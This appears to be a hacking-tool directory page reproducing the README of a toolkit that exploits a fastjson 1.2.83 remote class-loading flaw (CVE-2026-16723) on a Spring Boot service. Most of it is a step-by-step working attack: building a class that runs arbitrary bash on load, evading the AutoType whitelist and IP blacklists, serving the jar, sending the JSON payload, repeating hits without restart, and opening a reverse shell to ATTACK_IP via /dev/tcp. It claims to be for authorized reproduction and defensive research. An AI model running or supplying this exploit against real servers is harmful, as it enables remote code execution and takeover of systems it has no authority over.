Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/cuttlefish520/fastjson1.2.83-genprobe2
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationRed TeamingRemote Access Tool
GitHubcuttlefish520/fastjson1.2.83-genprobe2

FastJson1.2.83-GenProbe2

CVE-2026-16723 reproduction toolkit - fastjson 1.2.83 jar: remote class-loading payload generator (ASM-built POC.class with @JSONType + clinit exec)

View Repository
1 month agoNot yet reviewed
Share

FastJson 1.2.83 GenProbe2

Purpose: for CVE-2026-16723 vulnerability reproduction. This repository is the malicious class generator (payload builder) for the fastjson 1.2.83 jar: remote class loading chain — it uses ASM to generate, at runtime, a class annotated with @JSONType whose <clinit> executes arbitrary commands, and together with the CVE-2026-16723 target environment (Spring Boot + fastjson 1.2.83) completes the full reproduction from "sending the payload" to "command execution landing". For vulnerability verification and defensive research in authorized environments only.

What this file does

GenProbe2.java is not the exploit itself, but the first step of generating the payload: it outputs POC.class, which you package into an extensionless jar file and place on an HTTP server, then have the target fastjson deserialize a class name pointing to that jar; the target JVM will then remotely download and load POC via the jar: protocol, triggering the static block.

The generated class has three deliberate design points, each corresponding to bypassing/avoiding a real obstacle:

Generated artifact featureEffect
Class-level annotation @com.alibaba.fastjson.annotation.JSONType(orders = {"x"})Makes fastjson's annotation scanning phase classify the class as hasJsonType, bypassing the AutoType whitelist check (1.2.83 disables autoType by default; classes with @JSONType go through another allow branch)
Runtime.getRuntime().exec(new String[]{"bash","-c",CMD}) inside static {} (<clinit>)Executes upon class loading. Calling exec with the String[] form is equivalent to bash -c CMD, so any bash syntax in CMD — pipes, redirection, $(), reverse shells, etc. — works (not limited by exec(String) tokenization)
Inner class name = jar:http://IP:PORT/<jarName>!/<entryName> (a URL containing : / !)Each time jarName/entryName is changed (e.g. probe2/POC2), the inner class name becomes a brand-new string, bypassing the JVM's same-name class cache — the target service can be hit repeatedly with different commands without restarting

ASM does not validate the legality of the class name passed to visit; ClassWriter.COMPUTE_FRAMES handles stack frame computation, and the exception table wraps the entire command execution block (catch (Exception) {}), ensuring that even if exec fails, the loading side does not throw an error that exposes it.

Complete vulnerability reproduction workflow (CVE-2026-16723)

0. Roles and prerequisites

RolePlaceholderDescription
Attacker machineATTACK_IP / decimal ATTACK_IP_DECHosts the malicious jar, sends the payload
Target machineTARGET:8080Spring Boot + fastjson 1.2.83
Lab jarfastjson-cve202616723-0.0.1-SNAPSHOT.jarMust be the patched version (ParserConfig.getGlobalInstance().setDefaultClassLoader(...))

ATTACK_IP_DEC is the decimal integer form of the attacker machine's IP (192.168.1.1 → 3232235777); using decimal avoids IP literal blacklists.

1. Write the command to execute

Create cmd.txt in the generator's working directory; the first line is the command to execute (the generator runs it with bash -c, supporting |, >, $(), reverse shells). Start with a minimal verification:

touch /tmp/CUSTOM_RCE_$(whoami)

Lines starting with # are skipped; when there is no cmd.txt, the default is touch /tmp/PWNED_CVE-2026-16723.

2. Generate malicious class (requires asm)

# 用法: java GenProbe2 <IP十进制> <端口> <输出目录> [jar名] [类名]
java -cp ".;lib\asm-9.6.jar" GenProbe2 ATTACK_IP_DEC 8888 out probe POC

Produces out\POC.class, with internal class name = jar:http://ATTACK_IP:8888/probe!/POC, and the console will print "will execute command".

3. Package into an extensionless jar and place it in the HTTP root directory

cd out
jar cvf ..\probe POC.class

Three hard requirements:

  • The remote filename must have no extension: it must be called probe, not probe.jar;
  • It must be a single file, not a folder with the same name (a folder will 301-redirect to HTML, causing parsing to fail);
  • The entry name inside the jar (POC.class) must match the entryName used at generation time.

4. Start the HTTP service and self-check

python -m http.server 8888      # 根目录 = 存放 probe 的目录,保持运行
curl.exe -s -o NUL -w "%{http_code} %{size_download}\n" http://localhost:8888/probe   # 本机
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" http://ATTACK_IP:8888/probe # 靶机侧

Both sides must show 200 and the correct byte count before proceeding.

5. Start the range (target machine, foreground)

java -jar fastjson-cve202616723-0.0.1-SNAPSHOT.jar
# 看到 Tomcat started on port(s): 8080 后保持窗口不动

6. Sending the payload

The biggest pitfall: PowerShell will eat the JSON double quotes. Directly using -d '{"@type":...}' will become {@type:...}, and the target machine will return illegal identifier : @pos 1, and it will never even reach the step of downloading the jar (you won't see a single request in the HTTP window).

The correct approach: save the payload to a file and use --data-binary "@file". payload.json:

{"@type":"jar:http:..ATTACK_IP_DEC:8888.probe!.POC","x":1}

Note the syntax here: dots replace slashes and .class — jar:http:..IP:PORT.jar名!.类名 is valid JSON, used to bypass blacklists; after fastjson restores it to the resource path jar:http://IP:PORT/probe!/POC.class, it downloads via ClassLoader.getResourceAsStream().

curl.exe -s -X POST http://TARGET:8080/api/products/search `
  -H "Content-Type: application/json" `
  --data-binary "@payload.json"

Returns parse ok = fastjson parsing succeeded (not equal to command execution success, see step 7).

7. Verification (target machine)

ls -la /tmp/ | grep CUSTOM_RCE     # 期望 /tmp/CUSTOM_RCE_<user>

The attack machine's HTTP window will also show GET /probe (usually 2 times: one annotation scan, one actual load). Blind commands can only be proven successful via "dropped file / callback / reverse shell".

8. Changing commands / changing ports / multiple exploitation

The JVM loads a class with the same name only once, and <clinit> runs only once; subsequent requests for the same name hit the cache. Two approaches:

  • A (no need to restart the target environment): modify cmd.txt, regenerate with a new jar name + class name (e.g. p2/POC2), package, place, and change the payload to {"@type":"jar:http:..ATTACK_IP_DEC:8888.p2!.POC2","x":1};
  • B: restart the target environment, the class cache is cleared, and the original probe can be triggered again.

When changing ports (8888↔8889), change all three places together: the port parameter for generating the class, the port in the payload, and the actual port of the HTTP service.

9. Reverse shell (advanced)

First line of cmd.txt:

bash -i >& /dev/tcp/ATTACK_IP/9999 0>&1

Attacker machine listens (Windows has no nc, use WSL nc -lvnp 9999), then regenerate, deploy, and send following steps 2–6 (recommended to change to a new class name).

Iron Rule: Three Places Must Be Exactly Consistent

  1. The internal class name in the class bytecode (hardcoded when generated by GenProbe2);
  2. The string restored from the payload @type;
  3. The HTTP service's port and filename.

Any inconsistency → class name mismatch, loading failure (manifesting as no request in the HTTP window, or 8888 being accessible but not triggered).

Common Issues Quick Reference

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →